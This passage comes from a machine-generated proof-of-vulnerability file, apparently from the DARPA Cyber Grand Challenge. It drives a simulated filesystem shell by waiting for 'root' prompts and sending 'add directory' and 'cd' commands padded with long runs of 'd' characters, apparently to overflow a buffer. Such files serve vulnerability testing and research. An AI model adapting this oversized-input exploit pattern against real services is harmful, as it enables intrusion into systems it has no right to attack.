unsigned int read_00081_len; unsigned int read_00081_ptr = 0; //**** delimited read static unsigned char read_00081_delim[] = "\x2f"; read_00081 = NULL; read_00081_len = 0; int read_00081_res = cgc_delimited_read(0, &read_00081, &read_00081_len, read_00081_delim, 1); if (read_00081_res) {} //silence unused variable warning //**** read match data static unsigned char match_00081_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00081_ptr += cgc_data_match(read_00081 + read_00081_ptr, read_00081_len - read_00081_ptr, match_00081_00000, 6); cgc_free(read_00081); if (read_00081_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00082; unsigned int read_00082_len; unsigned int read_00082_ptr = 0; //**** delimited read static unsigned char read_00082_delim[] = "\x3e"; read_00082 = NULL; read_00082_len = 0; int read_00082_res = cgc_delimited_read(0, &read_00082, &read_00082_len, read_00082_delim, 1); if (read_00082_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00082_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00082_00000_match; pcre *read_00082_00000_pcre = cgc_init_regex(read_00082_00000_regex); if (read_00082_00000_pcre != NULL) { int rc = cgc_regex_match(read_00082_00000_pcre, 0, read_00082 + read_00082_ptr, read_00082_len - read_00082_ptr, &read_00082_00000_match); if (rc > 0) { read_00082_ptr += read_00082_00000_match.match_end - read_00082_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00082_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00082); if (read_00082_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00030_00000[] = "\x61\x64\x64\x20\x64\x69\x72\x65\x63\x74\x6f\x72\x79\x20\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x0a"; static unsigned int write_00030_00000_len = 115; unsigned char *write_00030 = NULL; unsigned int write_00030_len = 0; write_00030 = cgc_append_buf(write_00030, &write_00030_len, write_00030_00000, write_00030_00000_len); if (write_00030_len > 0) { cgc_transmit_all(1, write_00030, write_00030_len); } cgc_free(write_00030); } while (0); do { unsigned char *read_00083; unsigned int read_00083_len; unsigned int read_00083_ptr = 0; //**** delimited read static unsigned char read_00083_delim[] = "\x40"; read_00083 = NULL; read_00083_len = 0; int read_00083_res = cgc_delimited_read(0, &read_00083, &read_00083_len, read_00083_delim, 1); if (read_00083_res) {} //silence unused variable warning //**** read match data static unsigned char match_00083_00000[] = "\x72\x6f\x6f\x74"; read_00083_ptr += cgc_data_match(read_00083 + read_00083_ptr, read_00083_len - read_00083_ptr, match_00083_00000, 4); cgc_free(read_00083); if (read_00083_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00084; unsigned int read_00084_len; unsigned int read_00084_ptr = 0; //**** delimited read static unsigned char read_00084_delim[] = "\x2f"; read_00084 = NULL; read_00084_len = 0; int read_00084_res = cgc_delimited_read(0, &read_00084, &read_00084_len, read_00084_delim, 1); if (read_00084_res) {} //silence unused variable warning //**** read match data static unsigned char match_00084_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00084_ptr += cgc_data_match(read_00084 + read_00084_ptr, read_00084_len - read_00084_ptr, match_00084_00000, 6); cgc_free(read_00084); if (read_00084_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00085; unsigned int read_00085_len; unsigned int read_00085_ptr = 0; //**** delimited read static unsigned char read_00085_delim[] = "\x3e"; read_00085 = NULL; read_00085_len = 0; int read_00085_res = cgc_delimited_read(0, &read_00085, &read_00085_len, read_00085_delim, 1); if (read_00085_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00085_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00085_00000_match; pcre *read_00085_00000_pcre = cgc_init_regex(read_00085_00000_regex); if (read_00085_00000_pcre != NULL) { int rc = cgc_regex_match(read_00085_00000_pcre, 0, read_00085 + read_00085_ptr, read_00085_len - read_00085_ptr, &read_00085_00000_match); if (rc > 0) { read_00085_ptr += read_00085_00000_match.match_end - read_00085_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00085_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00085); if (read_00085_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00031_00000[] = "\x63\x64\x20\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x0a"; static unsigned int write_00031_00000_len = 104; unsigned char *write_00031 = NULL; unsigned int write_00031_len = 0; write_00031 = cgc_append_buf(write_00031, &write_00031_len, write_00031_00000, write_00031_00000_len); if (write_00031_len > 0) { cgc_transmit_all(1, write_00031, write_00031_len); } cgc_free(write_00031); } while (0); do { unsigned char *read_00086; unsigned int read_00086_len; unsigned int read_00086_ptr = 0; //**** delimited read static unsigned char read_00086_delim[] = "\x40"; read_00086 = NULL; read_00086_len = 0; int read_00086_res = cgc_delimited_read(0, &read_00086, &read_00086_len, read_00086_delim, 1); if (read_00086_res) {} //silence unused variable warning //**** read match data static unsigned char match_00086_00000[] = "\x72\x6f\x6f\x74"; read_00086_ptr += cgc_data_match(read_00086 + read_00086_ptr, read_00086_len - read_00086_ptr, match_00086_00000, 4); cgc_free(read_00086); if (read_00086_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00087; unsigned int read_00087_len; unsigned int read_00087_ptr = 0; //**** delimited read static unsigned char read_00087_delim[] = "\x2f"; read_00087 = NULL; read_00087_len = 0; int read_00087_res = cgc_delimited_read(0, &read_00087, &read_00087_len, read_00087_delim, 1); if (read_00087_res) {} //silence unused variable warning //**** read match data static unsigned char match_00087_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00087_ptr += cgc_data_match(read_00087 + read_00087_ptr, read_00087_len - read_00087_ptr, match_00087_00000, 6); cgc_free(read_00087); if (read_00087_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00088; unsigned int read_00088_len; unsigned int read_00088_ptr = 0; //**** delimited read static unsigned char read_00088_delim[] = "\x3e"; read_00088 = NULL; read_00088_len = 0; int read_00088_res = cgc_delimited_read(0, &read_00088, &read_00088_len, read_00088_delim, 1); if (read_00088_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00088_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00088_00000_match; pcre *read_00088_00000_pcre = cgc_init_regex(read_00088_00000_regex); if (read_00088_00000_pcre != NULL) { int rc = cgc_regex_match(read_00088_00000_pcre, 0, read_00088 + read_00088_ptr, read_00088_len - read_00088_ptr, &read_00088_00000_match); if (rc > 0) { read_00088_ptr += read_00088_00000_match.match_end - read_00088_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00088_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00088); if (read_00088_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00032_00000[] = "\x61\x64\x64\x20\x64\x69\x72\x65\x63\x74\x6f\x72\x79\x20\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x0a"; static unsigned int write_00032_00000_len = 115; unsigned char *write_00032 = NULL; unsigned int write_00032_len = 0; write_00032 = cgc_append_buf(write_00032, &write_00032_len, write_00032_00000, write_00032_00000_len); if (write_00032_len > 0) { cgc_transmit_all(1, write_00032, write_00032_len); } cgc_free(write_00032); } while (0); do { unsigned char *read_00089; unsigned int read_00089_len; unsigned int read_00089_ptr = 0; //**** delimited read static unsigned char read_00089_delim[] = "\x40"; read_00089 = NULL; read_00089_len = 0; int read_00089_res = cgc_delimited_read(0, &read_00089, &read_00089_len, read_00089_delim, 1); if (read_00089_res) {} //silence unused variable warning //**** read match data static unsigned char match_00089_00000[] = "\x72\x6f\x6f\x74"; read_00089_ptr += cgc_data_match(read_00089 + read_00089_ptr, read_00089_len - read_00089_ptr, match_00089_00000, 4); cgc_free(read_00089); if (read_00089_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00090; unsigned int read_00090_len; unsigned int read_00090_ptr = 0; //**** delimited read static unsigned char read_00090_delim[] = "\x2f"; read_00090 = NULL; read_00090_len = 0; int read_00090_res = cgc_delimited_read(0, &read_00090, &read_00090_len, read_00090_delim, 1); if (read_00090_res) {} //silence unused variable warning //**** read match data static unsigned char match_00090_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00090_ptr += cgc_data_match(read_00090 + read_00090_ptr, read_00090_len - read_00090_ptr, match_00090_00000, 6); cgc_free(read_00090); if (read_00090_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00091; unsigned int read_00091_len; unsigned int read_00091_ptr = 0; //**** delimited read static unsigned char read_00091_delim[] = "\x3e"; read_00091 = NULL; read_00091_len = 0; int read_00091_res = cgc_delimited_read(0, &read_00091, &read_00091_len, read_00091_delim, 1); if (read_00091_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00091_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00091_00000_match; pcre *read_00091_00000_pcre = cgc_init_regex(read_00091_00000_regex); if (read_00091_00000_pcre != NULL) { int rc = cgc_regex_match(read_00091_00000_pcre, 0, read_00091 + read_00091_ptr, read_00091_len - read_00091_ptr, &read_00091_00000_match); if (rc > 0) { read_00091_ptr += read_00091_00000_match.match_end - read_00091_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00091_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00091); if (read_00091_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00033_00000[] = "\x63\x64\x20\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x0a"; static unsigned int write_00033_00000_len = 104; unsigned char *write_00033 = NULL; unsigned int write_00033_len = 0; write_00033 = cgc_append_buf(write_00033, &write_00033_len, write_00033_00000, write_00033_00000_len); if (write_00033_len > 0) { cgc_transmit_all(1, write_00033, write_00033_len); } cgc_free(write_00033); } while (0); do { unsigned char *read_00092; unsigned int read_00092_len; unsigned int read_00092_ptr = 0; //**** delimited read static unsigned char read_00092_delim[] = "\x40"; read_00092 = NULL; read_00092_len = 0; int read_00092_res = cgc_delimited_read(0, &read_00092, &read_00092_len, read_00092_delim, 1); if (read_00092_res) {} //silence unused variable warning //**** read match data static unsigned char match_00092_00000[] = "\x72\x6f\x6f\x74"; read_00092_ptr += cgc_data_match(read_00092 + read_00092_ptr, read_00092_len - read_00092_ptr, match_00092_00000, 4); cgc_free(read_00092); if (read_00092_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00093; unsigned int read_00093_len; unsigned int read_00093_ptr = 0; //**** delimited read static unsigned char read_00093_delim[] = "\x2f"; read_00093 = NULL; read_00093_len = 0; int read_00093_res = cgc_delimited_read(0, &read_00093, &read_00093_len, read_00093_delim, 1); if (read_00093_res) {} //silence unused variable warning //**** read match data static unsigned char match_00093_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00093_ptr += cgc_data_match(read_00093 + read_00093_ptr, read_00093_len - read_00093_ptr, match_00093_00000, 6); cgc_free(read_00093); if (read_00093_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00094; unsigned int read_00094_len; unsigned int read_00094_ptr = 0; //**** delimited read static unsigned char read_00094_delim[] = "\x3e"; read_00094 = NULL; read_00094_len = 0; int read_00094_res = cgc_delimited_read(0, &read_00094, &read_00094_len, read_00094_delim, 1); if (read_00094_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00094_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00094_00000_match; pcre *read_00094_00000_pcre = cgc_init_regex(read_00094_00000_regex); if (read_00094_00000_pcre != NULL) { int rc = cgc_regex_match(read_00094_00000_pcre, 0, read_00094 + read_00094_ptr, read_00094_len - read_00094_ptr, &read_00094_00000_match); if (rc > 0) { read_00094_ptr += read_00094_00000_match.match_end - read_00094_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00094_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00094); if (read_00094_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00034_00000[] = "\x61\x64\x64\x20\x64\x69\x72\x65\x63\x74\x6f\x72\x79\x20\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x0a"; static unsigned int write_00034_00000_len = 115; unsigned char *write_00034 = NULL; unsigned int write_00034_len = 0; write_00034 = cgc_append_buf(write_00034, &write_00034_len, write_00034_00000, write_00034_00000_len); if (write_00034_len > 0) { cgc_transmit_all(1, write_00034, write_00034_len); } cgc_free(write_00034); } while (0); do { unsigned char *read_00095; unsigned int read_00095_len; unsigned int read_00095_ptr = 0; //**** delimited read static unsigned char read_00095_delim[] = "\x40"; read_00095 = NULL; read_00095_len = 0; int read_00095_res = cgc_delimited_read(0, &read_00095, &read_00095_len, read_00095_delim, 1); if (read_00095_res) {} //silence unused variable warning //**** read match data static unsigned char match_00095_00000[] = "\x72\x6f\x6f\x74"; read_00095_ptr += cgc_data_match(read_00095 + read_00095_ptr, read_00095_len - read_00095_ptr, match_00095_00000, 4); cgc_free(read_00095); if (read_00095_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00096; unsigned int read_00096_len; unsigned int read_00096_ptr = 0; //**** delimited read static unsigned char read_00096_delim[] = "\x2f"; read_00096 = NULL; read_00096_len = 0; int read_00096_res = cgc_delimited_read(0, &read_00096, &read_00096_len, read_00096_delim, 1); if (read_00096_res) {} //silence unused variable warning //**** read match data static unsigned char match_00096_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00096_ptr += cgc_data_match(read_00096 + read_00096_ptr, read_00096_len - read_00096_ptr, match_00096_00000, 6); cgc_free(read_00096); if (read_00096_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00097; unsigned int read_00097_len; unsigned int read_00097_ptr = 0; //**** delimited read static unsigned char read_00097_delim[] = "\x3e"; read_00097 = NULL; read_00097_len = 0; int read_00097_res = cgc_delimited_read(0, &read_00097, &read_00097_len, read_00097_delim, 1); if (read_00097_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00097_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00097_00000_match; pcre *read_00097_00000_pcre = cgc_init_regex(read_00097_00000_regex); if (read_00097_00000_pcre != NULL) { int rc = cgc_regex_match(read_00097_00000_pcre, 0, read_00097 + read_00097_ptr, read_00097_len - read_00097_ptr, &read_00097_00000_match); if (rc > 0) { read_00097_ptr += read_00097_00000_match.match_end - read_00097_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00097_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00097); if (read_00097_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00035_00000[] = "\x63\x64\x20\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x0a"; static unsigned int write_00035_00000_len = 104; unsigned char *write_00035 = NULL; unsigned int write_00035_len = 0; write_00035 = cgc_append_buf(write_00035, &write_00035_len, write_00035_00000, write_00035_00000_len); if (write_00035_len > 0) { cgc_transmit_all(1, write_00035, write_00035_len); } cgc_free(write_00035); } while (0); do { unsigned char *read_00098; unsigned int read_00098_len; unsigned int read_00098_ptr = 0; //**** delimited read static unsigned char read_00098_delim[] = "\x40"; read_00098 = NULL; read_00098_len = 0; int read_00098_res = cgc_delimited_read(0, &read_00098, &read_00098_len, read_00098_delim, 1); if (read_00098_res) {} //silence unused variable warning //**** read match data static unsigned char match_00098_00000[] = "\x72\x6f\x6f\x74"; read_00098_ptr += cgc_data_match(read_00098 + read_00098_ptr, read_00098_len - read_00098_ptr, match_00098_00000, 4); cgc_free(read_00098); if (read_00098_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00099; unsigned int read_00099_len; unsigned int read_00099_ptr = 0; //**** delimited read static unsigned char read_00099_delim[] = "\x2f"; read_00099 = NULL; read_00099_len = 0; int read_00099_res = cgc_delimited_read(0, &read_00099, &read_00099_len, read_00099_delim, 1); if (read_00099_res) {} //silence unused variable warning //**** read match data static unsigned char match_00099_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00099_ptr += cgc_data_match(read_00099 + read_00099_ptr, read_00099_len - read_00099_ptr, match_00099_00000, 6); cgc_free(read_00099); if (read_00099_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00100; unsigned int read_00100_len; unsigned int read_00100_ptr = 0; //**** delimited read static unsigned char read_00100_delim[] = "\x3e"; read_00100 = NULL; read_00100_len = 0; int read_00100_res = cgc_delimited_read(0, &read_00100, &read_00100_len, read_00100_delim, 1); if (read_00100_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00100_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00100_00000_match; pcre *read_00100_00000_pcre = cgc_init_regex(read_00100_00000_regex); if (read_00100_00000_pcre != NULL) { int rc = cgc_regex_match(read_00100_00000_pcre, 0, read_00100 + read_00100_ptr, read_00100_len - read_00100_ptr, &read_00100_00000_match); if (rc > 0) { read_00100_ptr += read_00100_00000_match.match_end - read_00100_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00100_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00100); if (read_00100_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00036_00000[] = "\x61\x64\x64\x20\x64\x69\x72\x65\x63\x74\x6f\x72\x79\x20\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x0a"; static unsigned int write_00036_00000_len = 115; unsigned char *write_00036 = NULL; unsigned int write_00036_len = 0; write_00036 = cgc_append_buf(write_00036, &write_00036_len, write_00036_00000, write_00036_00000_len); if (write_00036_len > 0) { cgc_transmit_all(1, write_00036, write_00036_len); } cgc_free(write_00036); } while (0); do { unsigned char *read_00101; unsigned int read_00101_len; unsigned int read_00101_ptr = 0; //**** delimited read static unsigned char read_00101_delim[] = "\x40"; read_00101 = NULL; read_00101_len = 0; int read_00101_res = cgc_delimited_read(0, &read_00101, &read_00101_len, read_00101_delim, 1); if (read_00101_res) {} //silence unused variable warning //**** read match data static unsigned char match_00101_00000[] = "\x72\x6f\x6f\x74"; read_00101_ptr += cgc_data_match(read_00101 + read_00101_ptr, read_00101_len - read_00101_ptr, match_00101_00000, 4); cgc_free(read_00101); if (read_00101_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00102; unsigned int read_00102_len; unsigned int read_00102_ptr = 0; //**** delimited read static unsigned char read_00102_delim[] = "\x2f"; read_00102 = NULL; read_00102_len = 0; int read_00102_res = cgc_delimited_read(0, &read_00102, &read_00102_len, read_00102_delim, 1); if (read_00102_res) {} //silence unused variable warning //**** read match data static unsigned char match_00102_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00102_ptr += cgc_data_match(read_00102 + read_00102_ptr, read_00102_len - read_00102_ptr, match_00102_00000, 6); cgc_free(read_00102); if (read_00102_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00103; unsigned int read_00103_len; unsigned int read_00103_ptr = 0; //**** delimited read static unsigned char read_00103_delim[] = "\x3e"; read_00103 = NULL; read_00103_len = 0; int read_00103_res = cgc_delimited_read(0, &read_00103, &read_00103_len, read_00103_delim, 1); if (read_00103_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00103_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00103_00000_match; pcre *read_00103_00000_pcre = cgc_init_regex(read_00103_00000_regex); if (read_00103_00000_pcre != NULL) { int rc = cgc_regex_match(read_00103_00000_pcre, 0, read_00103 + read_00103_ptr, read_00103_len - read_00103_ptr, &read_00103_00000_match); if (rc > 0) { read_00103_ptr += read_00103_00000_match.match_end - read_00103_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00103_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00103); if (read_00103_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00037_00000[] = "\x63\x64\x20\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x0a"; static unsigned int write_00037_00000_len = 104; unsigned char *write_00037 = NULL; unsigned int write_00037_len = 0; write_00037 = cgc_append_buf(write_00037, &write_00037_len, write_00037_00000, write_00037_00000_len); if (write_00037_len > 0) { cgc_transmit_all(1, write_00037, write_00037_len); } cgc_free(write_00037); } while (0); do { unsigned char *read_00104; unsigned int read_00104_len; unsigned int read_00104_ptr = 0; //**** delimited read static unsigned char read_00104_delim[] = "\x40"; read_00104 = NULL; read_00104_len = 0; int read_00104_res = cgc_delimited_read(0, &read_00104, &read_00104_len, read_00104_delim, 1); if (read_00104_res) {} //silence unused variable warning //**** read match data static unsigned char match_00104_00000[] = "\x72\x6f\x6f\x74"; read_00104_ptr += cgc_data_match(read_00104 + read_00104_ptr, read_00104_len - read_00104_ptr, match_00104_00000, 4); cgc_free(read_00104); if (read_00104_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00105; unsigned int read_00105_len; unsigned int read_00105_ptr = 0; //**** delimited read static unsigned char read_00105_delim[] = "\x2f"; read_00105 = NULL; read_00105_len = 0; int read_00105_res = cgc_delimited_read(0, &read_00105, &read_00105_len, read_00105_delim, 1); if (read_00105_res) {} //silence unused variable warning //**** read match data static unsigned char match_00105_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00105_ptr += cgc_data_match(read_00105 + read_00105_ptr, read_00105_len - read_00105_ptr, match_00105_00000, 6); cgc_free(read_00105); if (read_00105_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00106; unsigned int read_00106_len; unsigned int read_00106_ptr = 0; //**** delimited read static unsigned char read_00106_delim[] = "\x3e"; read_00106 = NULL; read_00106_len = 0; int read_00106_res = cgc_delimited_read(0, &read_00106, &read_00106_len, read_00106_delim, 1); if (read_00106_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00106_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00106_00000_match; pcre *read_00106_00000_pcre = cgc_init_regex(read_00106_00000_regex); if (read_00106_00000_pcre != NULL) { int rc = cgc_regex_match(read_00106_00000_pcre, 0, read_00106 + read_00106_ptr, read_00106_len - read_00106_ptr, &read_00106_00000_match); if (rc > 0) { read_00106_ptr += read_00106_00000_match.match_end - read_00106_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00106_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00106); if (read_00106_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00038_00000[] = "\x61\x64\x64\x20\x64\x69\x72\x65\x63\x74\x6f\x72\x79\x20\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x0a"; static unsigned int write_00038_00000_len = 115; unsigned char *write_00038 = NULL; unsigned int write_00038_len = 0; write_00038 = cgc_append_buf(write_00038, &write_00038_len, write_00038_00000, write_00038_00000_len); if (write_00038_len > 0) { cgc_transmit_all(1, write_00038, write_00038_len); } cgc_free(write_00038); } while (0); do { unsigned char *read_00107; unsigned int read_00107_len; unsigned int read_00107_ptr = 0; //**** delimited read static unsigned char read_00107_delim[] = "\x40"; read_00107 = 